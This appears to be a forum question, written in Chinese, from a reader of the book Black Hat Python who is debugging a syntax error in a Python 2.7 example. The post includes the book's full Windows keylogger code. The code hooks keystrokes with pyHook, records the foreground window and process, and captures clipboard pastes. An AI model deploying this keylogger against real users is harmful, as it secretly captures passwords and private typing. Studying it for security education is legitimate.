Question

我目前正在阅读Justin Seitz的Black Hat Python，并且遇到了所提供代码的问题。我正在按照书中的建议使用python版本2.7。

我直接从网站上下载了示例文件，并将其导入到wing IDE中，以验证我的问题是由于我自己的错误还是书籍或程序的错误引起的。顺便说一句，我正在使用Windows而不是Linux来编写此代码，因为本章指出这是Windows特有的。

enter code here
from ctypes import *
import pythoncom
import pyHook 
import win32clipboard

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
current_window = None

def get_current_process():

    # get a handle to the foreground window
    hwnd = user32.GetForegroundWindow()

    # find the process ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # store the current process ID
    process_id = "%d" % pid.value

    # grab the executable
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # now read it's title
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    # print out the header if we're in the right process
    print
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, 
window_title.value)
    print


    # close handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def KeyStroke(event):

    global current_window   

    # check to see if target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName        
        get_current_process()

    # if they pressed a standard key
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # if [Ctrl-V], get the value on the clipboard
        # added by Dan Frisch 2014
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,

    # pass execution to next hook registered 
    return True

# create and register a hook manager 
kl         = pyHook.HookManager()
kl.KeyDown = KeyStroke

# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()

我收到以下错误消息：

语法错误：语法无效：C：\ Users \ Brand \ Desktop \ programming \ BHP-Code \ Chapter8 \ keylogger.py，第35行，pos 33 打印“ [PID：％s-％s-％s]”％（process_id，executable.value，window_title.value）

书籍范例有误
